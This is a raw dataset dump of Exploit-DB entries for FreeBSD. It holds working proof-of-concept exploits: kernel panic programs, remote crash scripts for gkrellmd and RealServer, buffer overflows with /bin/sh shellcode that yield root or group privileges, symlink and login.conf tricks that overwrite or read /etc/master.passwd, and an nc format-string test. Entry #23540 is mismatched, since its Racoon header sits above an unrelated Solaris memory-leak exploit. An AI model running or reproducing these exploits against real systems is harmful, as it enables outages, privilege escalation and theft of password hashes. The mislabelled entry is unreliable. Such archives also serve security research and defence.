deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9373
Description: FreeBSD 7.2-RELEASE - SCTP Local Kernel Denial of Service
Type: dos
Platform: freebsd
Date: 2009-08-06
Author: Shaun Colley

Exploit:
/* fbsd-sctp-panic.c
 *
 * freebsd 7.2-RELEASE SCTP local kernel DoS (kern panic)
 * only tested on 7.2-RELEASE, probably older and newer builds are vuln.  as well
 * based on an unfixed bug found here: <http://www.freebsd.org/cgi/query-pr.cgi?pr=136803>
 *
 * by Shaun Colley <shaun@rsc.cx>, Wed 05 Aug 2009
 *
 * $ gcc fbsd-sctp-panic.c -o fbsd-sctp-panic && ./fbsd-sctp-panic
 * wait a few seconds..
 *
 * - shaun
 */

#include <stdio.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>
#include <fcntl.h>

int csock, sock, lsock;

void *accept_connection() {
	struct sockaddr_in sin;
	socklen_t size = sizeof(sin);

	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(0x7f000001);
	sin.sin_port = htons(1337);

	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
	bind(sock, (struct sockaddr *)&sin, sizeof(sin));
	listen(sock, 1);
	lsock = accept(sock, (struct sockaddr *)&sin, &size);
}

void recvdata() {
	int flag;
	struct sctp_sndrcvinfo recvinfo;
	char buf[10];
	sctp_recvmsg(csock, buf, sizeof(buf), NULL, 0, &recvinfo, &flag);
}

void make_connection() {
	struct sockaddr_in consin;
	struct sctp_sndrcvinfo sinfo;

	csock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
	consin.sin_family = AF_INET;
	consin.sin_addr.s_addr = htonl(0x7f000001);
	consin.sin_port = htons(1337);

	connect(csock, (struct sockaddr *)&consin, sizeof(consin));
	signal(SIGALRM, recvdata);
	sinfo.sinfo_stream = 1337;
	sctp_send(lsock, "pwned", sizeof("pwned"), &sinfo, 0);
}


int main() {

	alarm(2);
	signal(SIGALRM, make_connection);
	accept_connection();

	return 0;
}

// milw0rm.com [2009-08-06]
Exploit-DB #8259
Description: FreeBSD 7.x - Dumping Environment Local Kernel Panic (Denial of Service)
Type: dos
Platform: freebsd
Date: 2009-03-23
Author: kokanin

Exploit:
/* FreeBSD 7.x local kernel panic as mentioned in Errata Notice 09:01
http://security.freebsd.org/advisories/FreeBSD-EN-09:01.kenv.asc,
kokanin@gmail */
#include <kenv.h>
#include <stdio.h>
void main(){
kenv(KENV_DUMP,NULL,123123123,123123123);
}

// milw0rm.com [2009-03-23]
Exploit-DB #12762
Description: FreeBSD 8.0 - 'ftpd' (FreeBSD-SA-10:05) Off-By-One (PoC)
Type: dos
Platform: freebsd
Date: 2010-05-27
Author: Maksymilian Arciemowicz

Exploit:
# FreeBSD 8.0 ftpd off-by one PoC (FreeBSD-SA-10:05)
# CVE-2010-1938
# FreeBSD-SA-10:05
# Credit: Maksymilian Arciemowicz and Adam Zabrocki
#
# http://securityreason.com/achievement_securityalert/87
# http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc
# http://blog.pi3.com.pl/?p=111
#

PoC:
Connected to localhost.
Escape character is '^]'.
220 127.cx FTP server (Version 6.00LS) ready.
user cx
331 Password required for cx.
user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed by foreign host.

- -- 
Best Regards,
- ------------------------
pub 1024D/A6986BD6 2008-08-22
uid Maksymilian Arciemowicz (cxib)
<cxib@securityreason.com>
sub 4096g/0889FA9A 2008-08-22

http://securityreason.com
http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
Exploit-DB #39305
Description: FreeBSD SCTP ICMPv6 - Error Processing
Type: dos
Platform: freebsd
Date: 2016-01-25
Author: ptsecurity

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
Source: http://blog.ptsecurity.com/2016/01/severe-vulnerabilities-detected-in.html

SCTP (stream control transmission protocol) is a transport-layer protocol designed to transfer signaling messages in an IP environment. As a rule, mobile operators use this protocol in technological networks.

This vulnerability threatens FreeBSD systems (versions 9.3, 10.1, and 10.2) if they support SCTP and IPv6 (default configuration). To exploit this flaw, a malefactor needs to send a specially crafted ICMPv6 message. And if he succeeds, he can conduct a DoS attack.

Denial of service is caused by improper check of the length of an SCTP packet header received from the ICMPv6 error message. If the target recipient is unavailable, the router can generate an error message and send it to the sender via ICMPv6.

This ICMPv6 packet includes the original IPv6 packet where the Next Header field indicates how SCTP is encapsulated.

When the kernel receives the error message via ICMPv6, it transfers the upper-level protocol packet to a necessary parser (sctp6_ctlinput()). The SCTP parser considers the incoming header has the required length, tries to copy it using m_copydata(), which has offset values and the number of bytes. Since a twelve-byte chunk is expected, if the attacker sends a packet with an eleven-byte header, a NULL pointer is dereferenced causing kernel panic.

There is no need for an open SCTP socket to successfully exploit this vulnerability. Scapy can help to create an ICMPv6 packet.
'''
 
import argparse
from scapy.all import *
 
 
def get_args():
    parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
    parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
    parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
    parser.add_argument("-I", "--iface", type=str, help="Iface")
    options = parser.parse_args()
 
    if options.dst_mac is None or options.dst_ipv6 is None:
        parser.print_help()
        exit()
 
    return options
 
 
if __name__ == '__main__':
    options = get_args()
 
    sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
                                                                                               src=options.dst_ipv6,
                                                                                               dst='fe80::230:56ff:fea6:648c'),
          iface=options.iface)
Exploit-DB #22831
Description: Gkrellmd 2.1 - Remote Buffer Overflow (1)
Type: dos
Platform: freebsd
Date: 2003-06-24
Author: dodo

Exploit:
source: https://www.securityfocus.com/bid/8022/info

GKrellMd has been reported prone to a remote buffer overflow vulnerability, arbitrary code execution is possible.

The issue presents itself due to a lack of sufficient bounds checking performed on network-based data. If data exceeding the maximum reserved memory buffer size is received arbitrary memory may be corrupted.

A remote attacker may ultimately exploit this issue remotely to seize control of the affected daemon and execute arbitrary code.

This vulnerability has been reported to affect Gkrellm 2.1.13.

	#!/usr/bin/perl -s
	use IO::Socket;
	#
	# proof of concept code
	# tested: grkellmd 2.1.10
	#



		if(!$ARGV[0] || !$ARGV[1])
		{ print "usage: ./gkrellmcrash.pl <host> <port>\n"; exit(-1); }

	$host = $ARGV[0];
	$port = $ARGV[1];
	$exploitstring = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

	$socket = new IO::Socket::INET
	(
	Proto    => "tcp",
	PeerAddr => $host,
	PeerPort => $port,
	);

	die "unable to connect to $host:$port ($!)\n" unless $socket;

	print $socket "gkrellm 2.1.10\n"; #tell the daemon wich client we have
	sleep(1);
	print $socket $exploitstring;

	close($socket);
Exploit-DB #23540
Description: KAME Racoon - 'Initial Contact' SA Deletion
Type: dos
Platform: freebsd
Date: 2004-01-14
Author: Thomas Walpuski

Exploit:
// source: https://www.securityfocus.com/bid/9417/info

It has been reported that it may be possible for attackers to remotely delete security associations (SAs) in hosts running the KAME IKE daemon Racoon.

/* Sun Microsystems Solaris sysinfo() Kernel Memory Disclosure exploit
 * ===================================================================
 * Local exploitation of an integer overflow vulnerability in Sun
 * Microsystems Inc. Solaris allows attackers to read kernel memory from a
 * non-privileged userspace process. The vulnerability specifically exists
 * due to an integer overflow in /usr/src/uts/common/syscall/systeminfo.c
 *
 * Example Use.
 * $ uname -a 
 * SunOS sunos 5.11 snv_30 sun4u sparc SUNW,Ultra-250
 * $ ./prdelka-vs-SUN-sysinfo kbuf
 * [ Solaris <= 10 sysinfo() kernel memory information leak
 * [ Wrote[PII_REDACTED] bytes to kbuf
 * $ ls -al kbuf
 * -rwx------   1 user     other       1.2G Jul 21 23:56 kbuf
 *
 * -prdelka
 */
#include <sys/systeminfo.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define bufsize[PII_REDACTED]

int main(int argc,char* argv[]){
        int fd;
 	ssize_t out;
        char* output_buffer;
	if(argc < 2){
		printf("[ Use with <filepath>\n");
		exit(1);
	}
        printf("[ Solaris <= 10 sysinfo() kernel memory information leak\n");
	output_buffer = malloc(bufsize);
        memset(output_buffer,0,bufsize);
        sysinfo(SI_SYSNAME,output_buffer,0);
        fd = open(argv[1],O_RDWR|O_CREAT,0700);
	if(fd!=-1){
	        out = write(fd,output_buffer,bufsize);
		printf("[ Wrote %u bytes to %s\n",out,argv[1]);
	        close(fd);
	}
        exit(0);
}
Exploit-DB #19687
Description: Real Networks Real Server 5.0 - ramgen Denial of Service
Type: dos
Platform: freebsd
Date: 1999-12-23
Author: bow

Exploit:
// source: https://www.securityfocus.com/bid/888/info

RealServer 5.0 can be crashed by sending an overly long (4082+ bytes) ramgen request. Regular functionality can be restored by restarting the RealServer software. 

/*
 *  rmscrash.c  - bow@bow.net
 *
 *  Crash a RealMedia 5.0 server by sending a very long ramgen request. 
 *
 *  Test on:
 *         $ pnserver -v
 *         Version:        5.0-rvserver-build-290
 *         Platform: FreeBSD-2.1.x
 *
 */

#include        <stdio.h>
#include        <stdlib.h>
#include        <sys/time.h>
#include        <sys/types.h>
#include        <unistd.h>

#include        <sys/socket.h>
#include        <netinet/in.h>
#include        <netdb.h>

#define BUFLEN 4082

char    buf[BUFLEN+14];
int     sock;
struct  sockaddr_in sa;
struct  hostent *hp;

void main (int argc, char *argv[]) {
        int i, port;

        if (argc < 3) {
                printf("Usage: %s realserver port\n",argv[0]);
                exit(-1);
        }

        port = atoi(argv[2]);

        memset(buf,0x41,BUFLEN);
        memcpy(buf,"GET /ramgen/",12);
        memcpy(buf+BUFLEN," HTTP/1.1\r\n\r\n", 13);


        if ((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
                perror("gethostbyname()");
                exit(0);
        }

        if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
                perror("socket()");
                exit(0);
        }
        sa.sin_family=AF_INET;
        sa.sin_port=htons(port);
        memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
        if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
                perror("connect()");
                exit(0);
        }

        printf("Connected to %s. Sending data\n",argv[1]);
        write(sock,buf,strlen(buf));
        printf("Done.\n");

        close(sock);
        exit(0);
}
Exploit-DB #21512
Description: Slurp 1.10 - SysLog Remote Format String
Type: dos
Platform: freebsd
Date: 2002-06-04
Author: zillion

Exploit:
source: https://www.securityfocus.com/bid/4935/info

slurp is a freely available, open source NNTP client. It is designed for use on most Unix and Linux operating systems.

It may be possible for a remote server to execute code on a vulnerable client. slurp offers functionality that allows the software to write messages to the system log. A format string vulnerability in the syslog function may allow a malicious server to supply a custom format string that writes to an arbitrary address in memory.

perl -e 'print "200 Hello brother \n666 %x%x%x\n'" | nc -l -p 119

Then check /var/log/messages for something like:

Jun 5 05:10:22 yada slurp[39926]: do_newnews: NNTP protocol error: got '666 bfbff4f8804bc1bbfbff51c'
Exploit-DB #19756
Description: FreeBSD 3.0/3.1/3.2/3.3/3.4 - 'Asmon'/'Ascpu' Local Privilege Escalation
Type: local
Platform: freebsd
Date: 2000-02-19
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/996/info

A vulnerability exists in both the ascpu and asmon ports to FreeBSD. Ascpu and asmon are applets for the popular window manager AfterStep. They retain the look and feel of this window manager, and integrate well in to it's "dock" toolbar. As part of the port to FreeBSD, it was deemed necessary to give them access to /dev/kmem, necessitating them being installed setgid kmem. By passing a command line option, it is possible for an attacker to cause these applications to execute arbitrary commands with group 'kmem' privileges.

It should be noted that neither of these programs are truly part of FreeBSD. They are not part of any distribution of FreeBSD. Instead, they are part of the 'ports' section. The over 3000 packages included in ports are presented as-is, and in many cases have not been audited for security problems.

Exploit:

asmon -e "xterm"
Exploit-DB #19346
Description: FreeBSD 3.1 / Solaris 2.6 - Domain Socket
Type: local
Platform: freebsd
Date: 1997-06-19
Author: Thamer Al-Herbish

Exploit:
// source: https://www.securityfocus.com/bid/456/info


Solaris 2.6 and many other unices/clones have a serious problem with their unix domain socket implementation that has it's origins in old BSD code. Any unix socket created by any application is set mode 4777. In Solaris versions 2.5 and earlier, the permissions were ignored completely. The applications are vulnerable to being connected to and written to by anyone. This could lead to a whole number of application-specific security compromises. 

Here is some sample code (by Nirva):

#include <stdio.h>
#include <stdlib.h>
#include <sys/un.h>
#include <sys/socket.h>

main(int argc, char *argv[])
{
struct sockaddr_un addr;
int s;

s = socket(AF_UNIX, SOCK_STREAM, 0);

bzero(&addr, sizeof(addr));
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "/tmp/yoursocket");
if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind");
exit(1);
}
sleep(100);

exit(0);
}
Exploit-DB #19653
Description: FreeBSD 3.3 - 'angband' Local Buffer Overflow
Type: local
Platform: freebsd
Date: 1999-12-01
Author: Brock Tellier

Exploit:
// source: https://www.securityfocus.com/bid/840/info

The version angband shipped with FreeBSD 3.3-RELEASE is vulnerable to a local buffer overflow attack. Since it is setgid games, a compromise of files and directories owned by group games is possible. 

/* FreeBSD 3.3 angband exploit yields egid of group games
* usage: gcc -o angames angames.c
/path/to/angband `./angames <offset>`
* overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage
* Brock Tellier <btellier@usa.net>
*/


#include <stdio.h>

char shell[]= /* mudge@lopht.com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
 =

 =

main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */
char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */
char arg[bsize + 2];
int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */
 =

if (argv[1]) { =

offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsiz=
e);
 =

for ( x = 0; x < 1021; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %d\n", x);
 =

for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %d\n",x);
 =

buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);
buf[x++] = 'X';
buf[x++] = 'X';
fprintf(stderr, "garbage to %d\n", x);

buf[bsize - 1] = '\0';

sprintf(arg, "-u%s", buf);
arg[bsize + 1] = '\0';
 =

printf("%s", arg);
 =

}
Exploit-DB #19649
Description: FreeBSD 3.3 - 'gdc' Local Buffer Overflow
Type: local
Platform: freebsd
Date: 1999-12-01
Author: Brock Tellier

Exploit:
// source: https://www.securityfocus.com/bid/834/info

There is a buffer overflow vulnerability known to be present in the version of gdc shipped with the 3.3-RELEASE version of FreeBSD. By default, only users in group wheel have execute access to gdc. The overflow occurs when the argument passed along with the -t flag (time) exceeds its predefined buffer length. It is possible to then corrupt the stack and alter the flow of execution (and execute arbitrary code). With gdc setuid root by default, this can lead to a local root compromise if exploited by users who have or gain access of or belong to the wheel group (or trusted gated group).

/* 

 * gdc exploit for Freebsd-3.3 yields euid=0(root)
 * by default, only group wheel (or whatever your trusted gated group is)=

 * and root can run gdc
 * Brock Tellier btellier@usa.net
 */


#include <stdio.h>

char shell[] = /* mudge@l0pht.com */
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


main (int argc, char *argv[] ) {
 int x = 0;
 int y = 0;
 int offset = 0;
 int bsize = 4093;
 char buf[bsize];
 int eip = 0xbfbfdb65; /* works for me */

 if (argv[1]) { =

   offset = atoi(argv[1]);
   eip = eip + offset;
 }
 fprintf(stderr, "gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\=
n");
 fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsi=
ze);
 =

 for ( x = 0; x < 937; x++) buf[x] = 0x90;
     fprintf(stderr, "NOPs to %d\n", x);
 =

 for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
     fprintf(stderr, "Shellcode to %d\n",x);
  =

  buf[x++] =  eip & 0x000000ff;
  buf[x++] = (eip & 0x0000ff00) >> 8;
  buf[x++] = (eip & 0x00ff0000) >> 16;
  buf[x++] = (eip & 0xff000000) >> 24;
     fprintf(stderr, "eip to %d\n",x);

 buf[bsize - 1]='\0';

 execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL);

}
Exploit-DB #19650
Description: FreeBSD 3.3 - 'gdc' Symlink
Type: local
Platform: freebsd
Date: 1999-12-01
Author: Brock Tellier

Exploit:
source: https://www.securityfocus.com/bid/835/info

It is possible to write debug ouput from gdc to a file (/var/tmp/gdb_dump). Unfortunately, gdc follows symbolic links which can be created in tmp and will overwrite any file on the system thanks to it being setiud root. This does not cause any immediate compromises and is more of a denial of service attack since it does not change the permissions of the overwritten files (to say, world writeable or group writeable). Local users are required to be in group wheel (or equivelent) to execute gdc.

ln -s /etc/master.passwd /var/tmp/gated_dump

And then wait for a priviliged user to run gdc dump.
Exploit-DB #19652
Description: FreeBSD 3.3 - 'xmindpath' Local Buffer Overflow
Type: local
Platform: freebsd
Date: 1999-12-01
Author: Brock Tellier

Exploit:
/*
source: https://www.securityfocus.com/bid/839/info

The version of xmindpath shipped with FreeBSD 3.3 can be locally exploited via overrunning a buffer of predefined length. It is possible to gain the effective userid of uucp through this vulnerability. It may be possible, after attaining uucp priviliges, to modify binaries to which uucp has write access to and trojan them to further elevate priviliges), ie: modify minicom so that when root runs it, drops a suid shell somewhere. 
*/

/*
 *
 * FreeBSD 3.3 xmindpath exploit gives euid uucp
 * Compile: gcc -o xmindx xmindx.c
 * Usage: ./xmindx <offset>
 /path/to/mindpath -f $RET
 * Brock Tellier <btellier@usa.net>
 *
 */
 
 #include <stdlib.h>
 #include <stdio.h>
 

 char shell[]= /* mudge@l0pht.com */
 "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
 "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
 "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
 "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
 

 #define EGGLEN 2048
 #define RETLEN 279
 #define ALIGN 3
 #define NOP 0x90

 int main(int argc, char *argv[]) {
 

 long int offset=0;
 int i;
 int egglen = EGGLEN;
 int retlen = RETLEN;
 long int addr = 0xbfbfcfa8;
 char egg[EGGLEN];
 char ret[RETLEN];


 if (argc == 2) offset = atoi(argv[1]);


 addr=addr + offset;

 fprintf(stderr, "FreeBSD xmindpath exploit /path/to/xmindpath -f $RET\n");
 fprintf(stderr, "Brock Tellier btellier@usa.net\n");
 fprintf(stderr, "Using addr: 0x%x\n", addr);

 memset(egg,NOP,egglen);
 memcpy(egg+(egglen - strlen(shell) - 1),shell,strlen(shell));
  

 for(i=ALIGN;i< retlen;i+=4)
 *(int *)&ret[i]=addr;
 

 memcpy(egg, "EGG=", 4);
 putenv(egg);
 memcpy(ret,"RET=",4);
 putenv(ret);

 system("/usr/local/bin/bash");

 }
Exploit-DB #19651
Description: FreeBSD 3.3 - Seyon SetGID Dialer
Type: local
Platform: freebsd
Date: 1999-12-01
Author: Brock Tellier

Exploit:
source: https://www.securityfocus.com/bid/838/info

FreeBSD 3.3-RELEASE ships with Seyon, a communications program which is known to have several vulnerabilities which can allow for a malicious user to elevate priviliges. The vulnerability, however, is that seyon is still installed setgid dialer in FreeBSD. When seyon is exploited, a local user can grant him/herself priviliges which allow access to the communications devices or anything else accessable by the group dialer. 

One of the methods to exploit seyon is shown below:

bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' > id.c
bash-2.03$ gcc -o id id.c
bash-2.03$ seyon -emulator ./id
uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer), 1000(xnec)
Exploit-DB #21114
Description: FreeBSD 4.3/4.4 - Login Capabilities Privileged File Reading
Type: local
Platform: freebsd
Date: 2001-09-17
Author: Przemyslaw Frasunek

Exploit:
source: https://www.securityfocus.com/bid/3344/info

FreeBSD is a freely available, open source implementation of the BSD UNIX Operating System. It is developed and maintained by the FreeBSD Project.

It is possible for a user with access to a system via SSH to gain access to privileged information. This problem is caused by a mixture of problems with login capabilities, the FreeBSD OpenSSH port not dropping privileges during part of the login process, and login not dropping privileges at the correct time. A user could make a malicious entry in the .login.conf file in their home directoy, and read files such as the master.passwd file and gain access to encrypted passwords on the system.

This issue does not appear to affect other BSD distributions. 

In a .login.conf entry contained in a home directory, make the following entry if accessing the system via OpenSSH:

default: :copyright=/etc/master.passwd:

or

:welcome=/etc/master.[CREDENTIAL_REDACTED], if accessing the system via login, make the following entry in a .login.conf:

default: :nologin=/etc/master.passwd:
Exploit-DB #21462
Description: FreeBSD 4.x - Process Concealment Bypass
Type: local
Platform: freebsd
Date: 2002-05-18
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/4768/info

In FreeBSD, setting kern.ps_showallprocs=0 via the sysctl call is meant to disable normal users from seeing any running processes that are not owned by them. The current implementation of this feature fails to protest system process information.

It is still possible to obtain a list of processes from a procfs filesystem, or from specifying certain options to the 'ps' command.

#!/bin/sh
pid=0;
while x=0; do
/bin/ps -auxwwwp $pid | /usr/bin/grep $pid;
pid=`expr $pid + 1`;
done